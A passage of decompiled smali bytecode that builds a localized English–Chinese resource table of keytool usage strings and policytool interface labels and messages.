                                                                              1590const-string v3, "\t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]"
                                                                              1591aput-object v3, v2, v4
                                                                              1593const-string v3, "\t [-srcprovidername <\u6e90\u63d0\u4f9b\u65b9\u540d\u79f0>]\n\t [-destprovidername <\u76ee\u6807\u63d0\u4f9b\u65b9\u540d\u79f0>]"
                                                                              1594aput-object v3, v2, v5
                                                                              1595aput-object v2, v0, v1
                                                                              1596const/16 v1, 0xb1
                                                                              1597new-array v2, v6, [Ljava/lang/Object;
                                                                              1599const-string v3, "\t [-srcalias <srcalias> [-destalias <destalias>]"
                                                                              1600aput-object v3, v2, v4
                                                                              1602const-string v3, "\t [-srcalias <\u6e90\u522b\u540d> [-destalias <\u76ee\u6807\u522b\u540d>]"
                                                                              1603aput-object v3, v2, v5
                                                                              1604aput-object v2, v0, v1
                                                                              1605const/16 v1, 0xb2
                                                                              1606new-array v2, v6, [Ljava/lang/Object;
                                                                              1608const-string v3, "\t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]"
                                                                              1609aput-object v3, v2, v4
                                                                              1611const-string v3, "\t [-srckeypass <\u6e90\u5bc6\u94a5\u5e93\u53e3\u4ee4>] [-destkeypass <\u76ee\u6807\u5bc6\u94a5\u5e93\u53e3\u4ee4>]]"
                                                                              1612aput-object v3, v2, v5
                                                                              1613aput-object v2, v0, v1
                                                                              1614const/16 v1, 0xb3
                                                                              1615new-array v2, v6, [Ljava/lang/Object;
                                                                              1617const-string v3, "\t [-noprompt]"
                                                                              1618aput-object v3, v2, v4
                                                                              1620const-string v3, "\t [-noprompt]"
                                                                              1621aput-object v3, v2, v5
                                                                              1622aput-object v2, v0, v1
                                                                              1623const/16 v1, 0xb4
                                                                              1624new-array v2, v6, [Ljava/lang/Object;
                                                                              1626const-string v3, "-changealias [-v] [-protected] -alias <alias> -destalias <destalias>"
                                                                              1627aput-object v3, v2, v4
                                                                              1629const-string v3, "-changealias [-v] [-protected] -alias <\u522b\u540d> -destalias <\u76ee\u6807\u522b\u540d>"
                                                                              1630aput-object v3, v2, v5
                                                                              1631aput-object v2, v0, v1
                                                                              1632const/16 v1, 0xb5
                                                                              1633new-array v2, v6, [Ljava/lang/Object;
                                                                              1635const-string v3, "\t [-keypass <keypass>]"
                                                                              1636aput-object v3, v2, v4
                                                                              1638const-string v3, "\t [-keypass <\u5bc6\u94a5\u5e93\u53e3\u4ee4>]"
                                                                              1639aput-object v3, v2, v5
                                                                              1640aput-object v2, v0, v1
                                                                              1641const/16 v1, 0xb6
                                                                              1642new-array v2, v6, [Ljava/lang/Object;
                                                                              1644const-string v3, "-keypasswd [-v] [-alias <alias>]"
                                                                              1645aput-object v3, v2, v4
                                                                              1647const-string v3, "-keypasswd [-v] [-alias <\u522b\u540d>]"
                                                                              1648aput-object v3, v2, v5
                                                                              1649aput-object v2, v0, v1
                                                                              1650const/16 v1, 0xb7
                                                                              1651new-array v2, v6, [Ljava/lang/Object;
                                                                              1653const-string v3, "\t [-keypass <old_keypass>] [-new <new_keypass>]"
                                                                              1654aput-object v3, v2, v4
                                                                              1656const-string v3, "\t [-keypass <\u65e7\u5bc6\u94a5\u5e93\u53e3\u4ee4>] [-new <\u65b0\u5bc6\u94a5\u5e93\u53e3\u4ee4>]"
                                                                              1657aput-object v3, v2, v5
                                                                              1658aput-object v2, v0, v1
                                                                              1659const/16 v1, 0xb8
                                                                              1660new-array v2, v6, [Ljava/lang/Object;
                                                                              1662const-string v3, "-list [-v | -rfc] [-protected]"
                                                                              1663aput-object v3, v2, v4
                                                                              1665const-string v3, "-list [-v | -rfc] [-protected]"
                                                                              1666aput-object v3, v2, v5
                                                                              1667aput-object v2, v0, v1
                                                                              1668const/16 v1, 0xb9
                                                                              1669new-array v2, v6, [Ljava/lang/Object;
                                                                              1671const-string v3, "\t [-alias <alias>]"
                                                                              1672aput-object v3, v2, v4
                                                                              1674const-string v3, "\t [-alias <\u522b\u540d>]"
                                                                              1675aput-object v3, v2, v5
                                                                              1676aput-object v2, v0, v1
                                                                              1677const/16 v1, 0xba
                                                                              1678new-array v2, v6, [Ljava/lang/Object;
                                                                              1680const-string v3, "-printcert [-v] [-file <cert_file>]"
                                                                              1681aput-object v3, v2, v4
                                                                              1683const-string v3, "-printcert [-v] [-file <\u8ba4\u8bc1\u6587\u4ef6>]"
                                                                              1684aput-object v3, v2, v5
                                                                              1685aput-object v2, v0, v1
                                                                              1686const/16 v1, 0xbb
                                                                              1687new-array v2, v6, [Ljava/lang/Object;
                                                                              1689const-string v3, "\t [-alias <alias>]"
                                                                              1690aput-object v3, v2, v4
                                                                              1692const-string v3, "\t [-alias <\u522b\u540d>]"
                                                                              1693aput-object v3, v2, v5
                                                                              1694aput-object v2, v0, v1
                                                                              1695const/16 v1, 0xbc
                                                                              1696new-array v2, v6, [Ljava/lang/Object;
                                                                              1698const-string v3, "-storepasswd [-v] [-new <new_storepass>]"
                                                                              1699aput-object v3, v2, v4
                                                                              1701const-string v3, "-storepasswd [-v] [-new <\u65b0\u5b58\u50a8\u5e93\u53e3\u4ee4>]"
                                                                              1702aput-object v3, v2, v5
                                                                              1703aput-object v2, v0, v1
                                                                              1704const/16 v1, 0xbd
                                                                              1705new-array v2, v6, [Ljava/lang/Object;
                                                                              1707const-string v3, "Warning: A public key for alias \'signers[i]\' does not exist. Make sure a KeyStore is properly configured."
                                                                              1708aput-object v3, v2, v4
                                                                              1710const-string v3, "\u8b66\u544a: \u522b\u540d {0} \u7684\u516c\u7528\u5bc6\u94a5\u4e0d\u5b58\u5728\u3002\u8bf7\u786e\u4fdd\u5df2\u6b63\u786e\u914d\u7f6e\u5bc6\u94a5\u5e93\u3002"
                                                                              1711aput-object v3, v2, v5
                                                                              1712aput-object v2, v0, v1
                                                                              1713const/16 v1, 0xbe
                                                                              1714new-array v2, v6, [Ljava/lang/Object;
                                                                              1716const-string v3, "Warning: Class not found: class"
                                                                              1717aput-object v3, v2, v4
                                                                              1719const-string v3, "\u8b66\u544a: \u627e\u4e0d\u5230\u7c7b: {0}"
                                                                              1720aput-object v3, v2, v5
                                                                              1721aput-object v2, v0, v1
                                                                              1722const/16 v1, 0xbf
                                                                              1723new-array v2, v6, [Ljava/lang/Object;
                                                                              1725const-string v3, "Warning: Invalid argument(s) for constructor: arg"
                                                                              1726aput-object v3, v2, v4
                                                                              1728const-string v3, "\u8b66\u544a: \u6784\u9020\u51fd\u6570\u7684\u53c2\u6570\u65e0\u6548: {0}"
                                                                              1729aput-object v3, v2, v5
                                                                              1730aput-object v2, v0, v1
                                                                              1731const/16 v1, 0xc0
                                                                              1732new-array v2, v6, [Ljava/lang/Object;
                                                                              1734const-string v3, "Illegal Principal Type: type"
                                                                              1735aput-object v3, v2, v4
                                                                              1737const-string v3, "\u975e\u6cd5\u7684 Principal \u7c7b\u578b: {0}"
                                                                              1738aput-object v3, v2, v5
                                                                              1739aput-object v2, v0, v1
                                                                              1740const/16 v1, 0xc1
                                                                              1741new-array v2, v6, [Ljava/lang/Object;
                                                                              1743const-string v3, "Illegal option: option"
                                                                              1744aput-object v3, v2, v4
                                                                              1746const-string v3, "\u975e\u6cd5\u9009\u9879: {0}"
                                                                              1747aput-object v3, v2, v5
                                                                              1748aput-object v2, v0, v1
                                                                              1749const/16 v1, 0xc2
                                                                              1750new-array v2, v6, [Ljava/lang/Object;
                                                                              1752const-string v3, "Usage: policytool [options]"
                                                                              1753aput-object v3, v2, v4
                                                                              1755const-string v3, "\u7528\u6cd5\uff1a policytool [\u9009\u9879]"
                                                                              1756aput-object v3, v2, v5
                                                                              1757aput-object v2, v0, v1
                                                                              1758const/16 v1, 0xc3
                                                                              1759new-array v2, v6, [Ljava/lang/Object;
                                                                              1761const-string v3, " [-file <file>] policy file location"
                                                                              1762aput-object v3, v2, v4
                                                                              1764const-string v3, " [-file <file>] \u89c4\u5219\u6587\u4ef6\u4f4d\u7f6e"
                                                                              1765aput-object v3, v2, v5
                                                                              1766aput-object v2, v0, v1
                                                                              1767const/16 v1, 0xc4
                                                                              1768new-array v2, v6, [Ljava/lang/Object;
                                                                              1770const-string v3, "New"
                                                                              1771aput-object v3, v2, v4
                                                                              1773const-string v3, "\u65b0\u6587\u4ef6"
                                                                              1774aput-object v3, v2, v5
                                                                              1775aput-object v2, v0, v1
                                                                              1776const/16 v1, 0xc5
                                                                              1777new-array v2, v6, [Ljava/lang/Object;
                                                                              1779const-string v3, "Open"
                                                                              1780aput-object v3, v2, v4
                                                                              1782const-string v3, "\u6253\u5f00"
                                                                              1783aput-object v3, v2, v5
                                                                              1784aput-object v2, v0, v1
                                                                              1785const/16 v1, 0xc6
                                                                              1786new-array v2, v6, [Ljava/lang/Object;
                                                                              1788const-string v3, "Save"
                                                                              1789aput-object v3, v2, v4
                                                                              1791const-string v3, "\u4fdd\u5b58"
                                                                              1792aput-object v3, v2, v5
                                                                              1793aput-object v2, v0, v1
                                                                              1794const/16 v1, 0xc7
                                                                              1795new-array v2, v6, [Ljava/lang/Object;
                                                                              1797const-string v3, "Save As"
                                                                              1798aput-object v3, v2, v4
                                                                              1800const-string v3, "\u53e6\u5b58\u4e3a"
                                                                              1801aput-object v3, v2, v5
                                                                              1802aput-object v2, v0, v1
                                                                              1803const/16 v1, 0xc8
                                                                              1804new-array v2, v6, [Ljava/lang/Object;
                                                                              1806const-string v3, "View Warning Log"
                                                                              1807aput-object v3, v2, v4
                                                                              1809const-string v3, "\u67e5\u770b\u8b66\u544a\u8bb0\u5f55"
                                                                              1810aput-object v3, v2, v5
                                                                              1811aput-object v2, v0, v1
                                                                              1812const/16 v1, 0xc9
                                                                              1813new-array v2, v6, [Ljava/lang/Object;
                                                                              1815const-string v3, "Exit"
                                                                              1816aput-object v3, v2, v4
                                                                              1818const-string v3, "\u9000\u51fa"
                                                                              1819aput-object v3, v2, v5
                                                                              1820aput-object v2, v0, v1
                                                                              1821const/16 v1, 0xca
                                                                              1822new-array v2, v6, [Ljava/lang/Object;
                                                                              1824const-string v3, "Add Policy Entry"
                                                                              1825aput-object v3, v2, v4
                                                                              1827const-string v3, "\u6dfb\u52a0\u89c4\u5219\u9879\u76ee"
                                                                              1828aput-object v3, v2, v5
                                                                              1829aput-object v2, v0, v1
                                                                              1830const/16 v1, 0xcb
                                                                              1831new-array v2, v6, [Ljava/lang/Object;
                                                                              1833const-string v3, "Edit Policy Entry"
                                                                              1834aput-object v3, v2, v4
                                                                              1836const-string v3, "\u7f16\u8f91\u89c4\u5219\u9879\u76ee"
                                                                              1837aput-object v3, v2, v5
                                                                              1838aput-object v2, v0, v1
                                                                              1839const/16 v1, 0xcc
                                                                              1840new-array v2, v6, [Ljava/lang/Object;
                                                                              1842const-string v3, "Remove Policy Entry"
                                                                              1843aput-object v3, v2, v4
                                                                              1845const-string v3, "\u5220\u9664\u89c4\u5219\u9879\u76ee"
                                                                              1846aput-object v3, v2, v5
                                                                              1847aput-object v2, v0, v1
                                                                              1848const/16 v1, 0xcd
                                                                              1849new-array v2, v6, [Ljava/lang/Object;
                                                                              1851const-string v3, "Edit"
                                                                              1852aput-object v3, v2, v4
                                                                              1854const-string v3, "\u7f16\u8f91"
                                                                              1855aput-object v3, v2, v5
                                                                              1856aput-object v2, v0, v1
                                                                              1857const/16 v1, 0xce
                                                                              1858new-array v2, v6, [Ljava/lang/Object;
                                                                              1860const-string v3, "Retain"
                                                                              1861aput-object v3, v2, v4
                                                                              1863const-string v3, "\u4fdd\u6301"
                                                                              1864aput-object v3, v2, v5
                                                                              1865aput-object v2, v0, v1
                                                                              1866const/16 v1, 0xcf
                                                                              1867new-array v2, v6, [Ljava/lang/Object;
                                                                              1869const-string v3, "Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name."
                                                                              1870aput-object v3, v2, v4
                                                                              1872const-string v3, "Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name."
                                                                              1873aput-object v3, v2, v5
                                                                              1874aput-object v2, v0, v1
                                                                              1875const/16 v1, 0xd0
                                                                              1876new-array v2, v6, [Ljava/lang/Object;
                                                                              1878const-string v3, "Add Public Key Alias"
                                                                              1879aput-object v3, v2, v4
                                                                              1881const-string v3, "\u6dfb\u52a0\u516c\u7528\u5bc6\u94a5\u522b\u540d"
                                                                              1882aput-object v3, v2, v5
                                                                              1883aput-object v2, v0, v1
                                                                              1884const/16 v1, 0xd1
                                                                              1885new-array v2, v6, [Ljava/lang/Object;
                                                                              1887const-string v3, "Remove Public Key Alias"
                                                                              1888aput-object v3, v2, v4
                                                                              1890const-string v3, "\u5220\u9664\u516c\u7528\u5bc6\u94a5\u522b\u540d"
                                                                              1891aput-object v3, v2, v5
                                                                              1892aput-object v2, v0, v1
                                                                              1893const/16 v1, 0xd2
                                                                              1894new-array v2, v6, [Ljava/lang/Object;
                                                                              1896const-string v3, "File"
                                                                              1897aput-object v3, v2, v4
                                                                              1899const-string v3, "\u6587\u4ef6"
                                                                              1900aput-object v3, v2, v5
                                                                              1901aput-object v2, v0, v1
                                                                              1902const/16 v1, 0xd3
                                                                              1903new-array v2, v6, [Ljava/lang/Object;
                                                                              1905const-string v3, "KeyStore"
                                                                              1906aput-object v3, v2, v4
                                                                              1908const-string v3, "\u5bc6\u94a5\u5e93"
                                                                              1909aput-object v3, v2, v5
                                                                              1910aput-object v2, v0, v1
                                                                              1911const/16 v1, 0xd4
                                                                              1912new-array v2, v6, [Ljava/lang/Object;
                                                                              1914const-string v3, "Policy File:"
                                                                              1915aput-object v3, v2, v4
                                                                              1917const-string v3, "\u89c4\u5219\u6587\u4ef6\uff1a"
                                                                              1918aput-object v3, v2, v5
                                                                              1919aput-object v2, v0, v1
                                                                              1920const/16 v1, 0xd5
                                                                              1921new-array v2, v6, [Ljava/lang/Object;
                                                                              1923const-string v3, "Could not open policy file: policyFile: e.toString()"
                                                                              1924aput-object v3, v2, v4
                                                                              1926const-string v3, "\u65e0\u6cd5\u6253\u5f00\u7b56\u7565\u6587\u4ef6: {0}: {1}"
                                                                              1927aput-object v3, v2, v5
                                                                              1928aput-object v2, v0, v1
                                                                              1929const/16 v1, 0xd6
                                                                              1930new-array v2, v6, [Ljava/lang/Object;
                                                                              1932const-string v3, "Policy Tool"
                                                                              1933aput-object v3, v2, v4
                                                                              1935const-string v3, "\u89c4\u5219\u5de5\u5177"
                                                                              1936aput-object v3, v2, v5
                                                                              1937aput-object v2, v0, v1
                                                                              1938const/16 v1, 0xd7
                                                                              1939new-array v2, v6, [Ljava/lang/Object;
                                                                              1941const-string v3, "Errors have occurred while opening the policy configuration. View the Warning Log for more information."
                                                                              1942aput-object v3, v2, v4
                                                                              1944const-string v3, "\u6253\u5f00\u89c4\u5219\u914d\u7f6e\u65f6\u53d1\u751f\u9519\u8bef\u3002 \u8bf7\u67e5\u770b\u8b66\u544a\u8bb0\u5f55\u83b7\u53d6\u66f4\u591a\u4fe1\u606f"
                                                                              1945aput-object v3, v2, v5
                                                                              1946aput-object v2, v0, v1
                                                                              1947const/16 v1, 0xd8
                                                                              1948new-array v2, v6, [Ljava/lang/Object;
                                                                              1950const-string v3, "Error"
                                                                              1951aput-object v3, v2, v4
                                                                              1953const-string v3, "\u9519\u8bef"
                                                                              1954aput-object v3, v2, v5
                                                                              1955aput-object v2, v0, v1
                                                                              1956const/16 v1, 0xd9
                                                                              1957new-array v2, v6, [Ljava/lang/Object;
                                                                              1959const-string v3, "OK"
                                                                              1960aput-object v3, v2, v4
                                                                              1962const-string v3, "\u786e\u8ba4"
                                                                              1963aput-object v3, v2, v5
                                                                              1964aput-object v2, v0, v1
                                                                              1965const/16 v1, 0xda
                                                                              1966new-array v2, v6, [Ljava/lang/Object;
                                                                              1968const-string v3, "Status"
                                                                              1969aput-object v3, v2, v4
                                                                              1971const-string v3, "\u72b6\u6001"
                                                                              1972aput-object v3, v2, v5
                                                                              1973aput-object v2, v0, v1
                                                                              1974const/16 v1, 0xdb
                                                                              1975new-array v2, v6, [Ljava/lang/Object;
                                                                              1977const-string v3, "Warning"
                                                                              1978aput-object v3, v2, v4
                                                                              1980const-string v3, "\u8b66\u544a"
                                                                              1981aput-object v3, v2, v5
                                                                              1982aput-object v2, v0, v1
                                                                              1983const/16 v1, 0xdc
                                                                              1984new-array v2, v6, [Ljava/lang/Object;
                                                                              1986const-string v3, "Permission: "
                                                                              1987aput-object v3, v2, v4
                                                                              1989const-string v3, "\u8bb8\u53ef\uff1a "
                                                                              1990aput-object v3, v2, v5
                                                                              1991aput-object v2, v0, v1
                                                                              1992const/16 v1, 0xdd
                                                                              1993new-array v2, v6, [Ljava/lang/Object;
                                                                              1995const-string v3, "Principal Type:"
                                                                              1996aput-object v3, v2, v4
                                                                              1998const-string v3, "Principal \u7c7b\u578b\uff1a"
                                                                              1999aput-object v3, v2, v5
                                                                              2000aput-object v2, v0, v1
                                                                              2001const/16 v1, 0xde
                                                                              2002new-array v2, v6, [Ljava/lang/Object;
                                                                              2004const-string v3, "Principal Name:"
                                                                              2005aput-object v3, v2, v4
                                                                              2007const-string v3, "Principal \u540d\u79f0\uff1a"
                                                                              2008aput-object v3, v2, v5
                                                                              2009aput-object v2, v0, v1
                                                                              2010const/16 v1, 0xdf
                                                                              2011new-array v2, v6, [Ljava/lang/Object;
                                                                              2013const-string v3, "Target Name: "
                                                                              2014aput-object v3, v2, v4
                                                                              2016const-string v3, "\u76ee\u6807\u540d\u79f0\uff1a "
                                                                              2017aput-object v3, v2, v5
                                                                              2018aput-object v2, v0, v1
                                                                              2019const/16 v1, 0xe0
                                                                              2020new-array v2, v6, [Ljava/lang/Object;
                                                                              2022const-string v3, "Actions: "
                                                                              2023aput-object v3, v2, v4
                                                                              2025const-string v3, "\u52a8\u4f5c\uff1a "
                                                                              2026aput-object v3, v2, v5
                                                                              2027aput-object v2, v0, v1
                                                                              2028const/16 v1, 0xe1
                                                                              2029new-array v2, v6, [Ljava/lang/Object;
                                                                              2031const-string v3, "OK to overwrite existing file filename?"
                                                                              2032aput-object v3, v2, v4
                                                                              2034const-string v3, "\u786e\u8ba4\u66ff\u6362\u73b0\u6709\u7684\u6587\u4ef6 {0}\uff1f"
                                                                              2035aput-object v3, v2, v5
                                                                              2036aput-object v2, v0, v1
                                                                              2037const/16 v1, 0xe2
                                                                              2038new-array v2, v6, [Ljava/lang/Object;
                                                                              2040const-string v3, "Cancel"
                                                                              2041aput-object v3, v2, v4
                                                                              2043const-string v3, "\u53d6\u6d88"
                                                                              2044aput-object v3, v2, v5
                                                                              2045aput-object v2, v0, v1
                                                                              2046const/16 v1, 0xe3
                                                                              2047new-array v2, v6, [Ljava/lang/Object;
                                                                              2049const-string v3, "CodeBase:"
                                                                              2050aput-object v3, v2, v4
                                                                              2052const-string v3, "CodeBase:"
                                                                              2053aput-object v3, v2, v5
                                                                              2054aput-object v2, v0, v1
                                                                              2055const/16 v1, 0xe4
                                                                              2056new-array v2, v6, [Ljava/lang/Object;
                                                                              2058const-string v3, "SignedBy:"
                                                                              2059aput-object v3, v2, v4
                                                                              2061const-string v3, "SignedBy:"
                                                                              2062aput-object v3, v2, v5
                                                                              2063aput-object v2, v0, v1
                                                                              2064const/16 v1, 0xe5
                                                                              2065new-array v2, v6, [Ljava/lang/Object;
                                                                              2067const-string v3, "Add Principal"
                                                                              2068aput-object v3, v2, v4
                                                                              2070const-string v3, "\u6dfb\u52a0 Principal"
                                                                              2071aput-object v3, v2, v5
                                                                              2072aput-object v2, v0, v1
                                                                              2073const/16 v1, 0xe6
                                                                              2074new-array v2, v6, [Ljava/lang/Object;
                                                                              2076const-string v3, "Edit Principal"
                                                                              2077aput-object v3, v2, v4
                                                                              2079const-string v3, "\u7f16\u8f91 Principal"
                                                                              2080aput-object v3, v2, v5
                                                                              2081aput-object v2, v0, v1
                                                                              2082const/16 v1, 0xe7
                                                                              2083new-array v2, v6, [Ljava/lang/Object;
                                                                              2085const-string v3, "Remove Principal"
                                                                              2086aput-object v3, v2, v4
                                                                              2088const-string v3, "\u5220\u9664 Principal"
                                                                              2089aput-object v3, v2, v5
                                                                              2090aput-object v2, v0, v1
                                                                              2091const/16 v1, 0xe8
                                                                              2092new-array v2, v6, [Ljava/lang/Object;
                                                                              2094const-string v3, "Principals:"
                                                                              2095aput-object v3, v2, v4
                                                                              2097const-string v3, "Principals\uff1a"
                                                                              2098aput-object v3, v2, v5
                                                                              2099aput-object v2, v0, v1
                                                                              2100const/16 v1, 0xe9
                                                                              2101new-array v2, v6, [Ljava/lang/Object;
                                                                              2103const-string v3, " Add Permission"
                                                                              2104aput-object v3, v2, v4
                                                                              2106const-string v3, " \u6dfb\u52a0\u6743\u9650"
                                                                              2107aput-object v3, v2, v5
                                                                              2108aput-object v2, v0, v1
                                                                              2109const/16 v1, 0xea
                                                                              2110new-array v2, v6, [Ljava/lang/Object;
                                                                              2112const-string v3, " Edit Permission"
                                                                              2113aput-object v3, v2, v4
                                                                              2115const-string v3, " \u7f16\u8f91\u6743\u9650"
                                                                              2116aput-object v3, v2, v5
                                                                              2117aput-object v2, v0, v1
                                                                              2118const/16 v1, 0xeb
                                                                              2119new-array v2, v6, [Ljava/lang/Object;
                                                                              2121const-string v3, "Remove Permission"
                                                                              2122aput-object v3, v2, v4
                                                                              2124const-string v3, "\u5220\u9664\u6743\u9650"
                                                                              2125aput-object v3, v2, v5
                                                                              2126aput-object v2, v0, v1
                                                                              2127const/16 v1, 0xec
                                                                              2128new-array v2, v6, [Ljava/lang/Object;
                                                                              2130const-string v3, "Done"
                                                                              2131aput-object v3, v2, v4
                                                                              2133const-string v3, "\u5b8c\u6210"
                                                                              2134aput-object v3, v2, v5
                                                                              2135aput-object v2, v0, v1
                                                                              2136const/16 v1, 0xed
                                                                              2137new-array v2, v6, [Ljava/lang/Object;
                                                                              2139const-string v3, "KeyStore URL:"
                                                                              2140aput-object v3, v2, v4
                                                                              2142const-string v3, "\u5bc6\u94a5\u5e93 URL:"
                                                                              2143aput-object v3, v2, v5
                                                                              2144aput-object v2, v0, v1
                                                                              2145const/16 v1, 0xee
                                                                              2146new-array v2, v6, [Ljava/lang/Object;
                                                                              2148const-string v3, "KeyStore Type:"
                                                                              2149aput-object v3, v2, v4
                                                                              2151const-string v3, "\u5bc6\u94a5\u5e93\u7c7b\u578b:"
                                                                              2152aput-object v3, v2, v5
                                                                              2153aput-object v2, v0, v1
                                                                              2154const/16 v1, 0xef
                                                                              2155new-array v2, v6, [Ljava/lang/Object;
                                                                              2157const-string v3, "KeyStore Provider:"
                                                                              2158aput-object v3, v2, v4
                                                                              2160const-string v3, "\u5bc6\u94a5\u5e93\u63d0\u4f9b\u8005:"
                                                                              2161aput-object v3, v2, v5
                                                                              2162aput-object v2, v0, v1
                                                                              2163const/16 v1, 0xf0
                                                                              2164new-array v2, v6, [Ljava/lang/Object;
                                                                              2166const-string v3, "KeyStore Password URL:"
                                                                              2167aput-object v3, v2, v4
                                                                              2169const-string v3, "\u5bc6\u94a5\u5e93\u53e3\u4ee4 URL:"
                                                                              2170aput-object v3, v2, v5
                                                                              2171aput-object v2, v0, v1
                                                                              2172const/16 v1, 0xf1
                                                                              2173new-array v2, v6, [Ljava/lang/Object;
                                                                              2175const-string v3, "Principals"
                                                                              2176aput-object v3, v2, v4
                                                                              2178const-string v3, "Principals"
                                                                              2179aput-object v3, v2, v5
                                                                              2180aput-object v2, v0, v1
                                                                              2181const/16 v1, 0xf2
                                                                              2182new-array v2, v6, [Ljava/lang/Object;
                                                                              2184const-string v3, " Edit Principal:"
                                                                              2185aput-object v3, v2, v4
                                                                              2187const-string v3, " \u7f16\u8f91 Principal\uff1a"
                                                                              2188aput-object v3, v2, v5
                                                                              2189aput-object v2, v0, v1
                                                                              2190const/16 v1, 0xf3
                                                                              2191new-array v2, v6, [Ljava/lang/Object;
                                                                              2193const-string v3, " Add New Principal:"
                                                                              2194aput-object v3, v2, v4
                                                                              2196const-string v3, " \u52a0\u5165\u65b0 Principal\uff1a"
                                                                              2197aput-object v3, v2, v5
                                                                              2198aput-object v2, v0, v1
                                                                              2199const/16 v1, 0xf4
                                                                              2200new-array v2, v6, [Ljava/lang/Object;
                                                                              2202const-string v3, "Permissions"
                                                                              2203aput-object v3, v2, v4
                                                                              2205const-string v3, "\u6743\u9650"
                                                                              2206aput-object v3, v2, v5
                                                                              2207aput-object v2, v0, v1
                                                                              2208const/16 v1, 0xf5
                                                                              2209new-array v2, v6, [Ljava/lang/Object;
                                                                              2211const-string v3, " Edit Permission:"
                                                                              2212aput-object v3, v2, v4
                                                                              2214const-string v3, " \u7f16\u8f91\u6743\u9650"
                                                                              2215aput-object v3, v2, v5
                                                                              2216aput-object v2, v0, v1
                                                                              2217const/16 v1, 0xf6
                                                                              2218new-array v2, v6, [Ljava/lang/Object;
                                                                              2220const-string v3, " Add New Permission:"
                                                                              2221aput-object v3, v2, v4
                                                                              2223const-string v3, " \u52a0\u5165\u65b0\u7684\u6743\u9650"
                                                                              2224aput-object v3, v2, v5
                                                                              2225aput-object v2, v0, v1
                                                                              2226const/16 v1, 0xf7
                                                                              2227new-array v2, v6, [Ljava/lang/Object;
                                                                              2229const-string v3, "Signed By:"
                                                                              2230aput-object v3, v2, v4
                                                                              2232const-string v3, "\u7b7e\u7f72\u4eba\uff1a"
                                                                              2233aput-object v3, v2, v5
                                                                              2234aput-object v2, v0, v1
                                                                              2235const/16 v1, 0xf8
                                                                              2236new-array v2, v6, [Ljava/lang/Object;
                                                                              2238const-string v3, "Cannot Specify Principal with a Wildcard Class without a Wildcard Name"
                                                                              2239aput-object v3, v2, v4
                                                                              2241const-string v3, "\u6ca1\u6709\u901a\u914d\u7b26\u540d\u79f0\uff0c\u65e0\u6cd5\u7528\u901a\u914d\u7b26\u7c7b\u522b\u6307\u5b9aPrincipal"
                                                                              2242aput-object v3, v2, v5
                                                                              2243aput-object v2, v0, v1
                                                                              2244const/16 v1, 0xf9
                                                                              2245new-array v2, v6, [Ljava/lang/Object;
                                                                              2247const-string v3, "Cannot Specify Principal without a Name"
                                                                              2248aput-object v3, v2, v4
                                                                              2250const-string v3, "\u6ca1\u6709\u540d\u79f0\uff0c\u65e0\u6cd5\u6307\u5b9a Principal"
                                                                              2251aput-object v3, v2, v5
                                                                              2252aput-object v2, v0, v1
                                                                              2253const/16 v1, 0xfa
                                                                              2254new-array v2, v6, [Ljava/lang/Object;
                                                                              2256const-string v3, "Permission and Target Name must have a value"
                                                                              2257aput-object v3, v2, v4
                                                                              2259const-string v3, "\u6743\u9650\u53ca\u76ee\u6807\u540d\u5fc5\u987b\u6709\u4e00\u4e2a\u503c\u3002"
                                                                              2260aput-object v3, v2, v5
                                                                              2261aput-object v2, v0, v1
                                                                              2262const/16 v1, 0xfb
                                                                              2263new-array v2, v6, [Ljava/lang/Object;
                                                                              2265const-string v3, "Remove this Policy Entry?"
                                                                              2266aput-object v3, v2, v4
                                                                              2268const-string v3, "\u5220\u9664\u6b64\u89c4\u5219\u9879\uff1f"
                                                                              2269aput-object v3, v2, v5
                                                                              2270aput-object v2, v0, v1
                                                                              2271const/16 v1, 0xfc
                                                                              2272new-array v2, v6, [Ljava/lang/Object;
                                                                              2274const-string v3, "Overwrite File"
                                                                              2275aput-object v3, v2, v4
                                                                              2277const-string v3, "\u66ff\u6362\u6587\u4ef6"
                                                                              2278aput-object v3, v2, v5
                                                                              2279aput-object v2, v0, v1
                                                                              2280const/16 v1, 0xfd
                                                                              2281new-array v2, v6, [Ljava/lang/Object;
                                                                              2283const-string v3, "Policy successfully written to filename"
                                                                              2284aput-object v3, v2, v4
                                                                              2286const-string v3, "\u89c4\u5219\u6210\u529f\u5199\u81f3 {0}"
                                                                              2287aput-object v3, v2, v5
                                                                              2288aput-object v2, v0, v1
                                                                              2289const/16 v1, 0xfe
                                                                              2290new-array v2, v6, [Ljava/lang/Object;
                                                                              2292const-string v3, "null filename"
                                                                              2293aput-object v3, v2, v4
                                                                              2295const-string v3, "\u65e0\u6548\u7684\u6587\u4ef6\u540d"
                                                                              2296aput-object v3, v2, v5
                                                                              2297aput-object v2, v0, v1
                                                                              2298const/16 v1, 0xff
                                                                              2299new-array v2, v6, [Ljava/lang/Object;
                                                                              2301const-string v3, "Save changes?"
                                                                              2302aput-object v3, v2, v4
                                                                              2304const-string v3, "\u662f\u5426\u4fdd\u5b58\u6240\u505a\u7684\u66f4\u6539\uff1f"
                                                                              2305aput-object v3, v2, v5
                                                                              2306aput-object v2, v0, v1
                                                                              2307const/16 v1, 0x100
                                                                              2308new-array v2, v6, [Ljava/lang/Object;
                                                                              2310const-string v3, "Yes"
                                                                              2311aput-object v3, v2, v4
                                                                              2313const-string v3, "\u662f"
                                                                              2314aput-object v3, v2, v5
                                                                              2315aput-object v2, v0, v1
                                                                              2316const/16 v1, 0x101
                                                                              2317new-array v2, v6, [Ljava/lang/Object;
                                                                              2319const-string v3, "No"
                                                                              2320aput-object v3, v2, v4
                                                                              2322const-string v3, "\u5426"
                                                                              2323aput-object v3, v2, v5
                                                                              2324aput-object v2, v0, v1
                                                                              2325const/16 v1, 0x102
                                                                              2326new-array v2, v6, [Ljava/lang/Object;
                                                                              2328const-string v3, "Policy Entry"
                                                                              2329aput-object v3, v2, v4
                                                                              2331const-string v3, "\u89c4\u5219\u9879\u76ee"
                                                                              2332aput-object v3, v2, v5
                                                                              2333aput-object v2, v0, v1
                                                                              2334const/16 v1, 0x103
                                                                              2335new-array v2, v6, [Ljava/lang/Object;
                                                                              2337const-string v3, "Save Changes"
                                                                              2338aput-object v3, v2, v4
